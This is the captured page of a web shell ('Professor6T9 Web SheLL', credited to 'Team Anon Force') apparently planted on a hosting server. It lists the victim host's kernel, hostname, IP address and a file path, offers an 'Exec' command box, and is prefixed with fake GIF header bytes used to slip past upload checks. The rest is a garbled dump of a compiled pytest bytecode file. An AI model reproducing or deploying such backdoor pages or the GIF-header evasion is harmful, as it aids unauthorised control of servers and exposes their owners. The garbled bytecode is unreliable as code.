GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
cloudlinux
/
venv
/
lib64
/
python3.11
/
site-packages
/
_pytest
/
__pycache__
[ HOME ]
Exec
Submit
threadexception.cpython-311.pyc
� �|oic � �x � d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ d dlmZ d dlm Z d dlm Z d dlZ G d� d � � Zd ed fd�Z ej d d �� � d ed fd�� � Z ej d d �� � d ed fd�� � Z ej d d �� � d ed fd�� � ZdS )� N)� TracebackType)�Any)�Callable)� Generator)�Optional)�Typec �r � e Zd ZdZd d�Zdd�Zdd�Zd eee d ee dee ddfd�ZdS )�catch_threading_exceptiona� Context manager catching threading.Thread exception using threading.excepthook. Storing exc_value using a custom hook can create a reference cycle. The reference cycle is broken explicitly when the context manager exits. Storing thread using a custom hook can resurrect it if it is set to an object which is being finalized. Exiting the context manager clears the stored object. Usage: with threading_helper.catch_threading_exception() as cm: # code spawning a thread which raises an exception ... # check the thread exception: use cm.args ... # cm.args attribute no longer exists at this point # (to break a reference cycle) �returnNc �"